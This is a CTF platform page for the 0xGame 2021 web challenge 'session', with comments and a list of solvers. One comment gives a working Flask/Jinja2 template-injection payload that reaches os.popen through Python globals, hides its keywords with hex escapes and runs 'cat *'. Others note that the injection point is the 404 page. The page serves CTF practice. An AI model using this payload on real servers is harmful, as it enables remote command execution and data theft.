sessionWEB 未解决

分数: 0 金币: 0
所属赛事: 0xGame 2021
题目作者: 未知
一  血: dai
一血奖励: 0金币
解  决: 30
提  示:
描  述:
0xGame{}
评论
yehlg 2月前

从哪里发现是flask注入,而且还知道参数

回复 0

coldplay99999 1年前

{{g.get.__globals__.sys.modules.__main__.__dict__.render_template_string('{{g.get.__globals__.sys.modules.\x6fs.p\x6fpen("cat *").read()}}')}}

回复 0

sraiL 1年前

真没想到ssti在404上

回复 0

whiteHaves 2年前

知道要处理session,但是不懂怎么改,唉,算了吧

回复 0

WriteUp

image
随琉

2 金币

评分(0)

暂无评分

解题动态

zhatao 攻破了该题 5天前
爱吃馒头 攻破了该题 12天前
caixinggang 攻破了该题 23天前
Yan123 攻破了该题 23天前
hdcc1 攻破了该题 26天前
xiaodou 攻破了该题 28天前
jibabenba 攻破了该题 1月前
路人甲1123 攻破了该题 1月前
HamiLemon 攻破了该题 4月前
efswgw 攻破了该题 4月前
admin_ 攻破了该题 4月前
heason 攻破了该题 6月前
minz 攻破了该题 9月前
温吞世俗人间烟火 攻破了该题 10月前
nuxe 攻破了该题 10月前
forces 攻破了该题 1年前
lz117 攻破了该题 1年前
花舞Flower 攻破了该题 1年前
随琉 攻破了该题 1年前
fnuafhioun 攻破了该题 1年前
问题反馈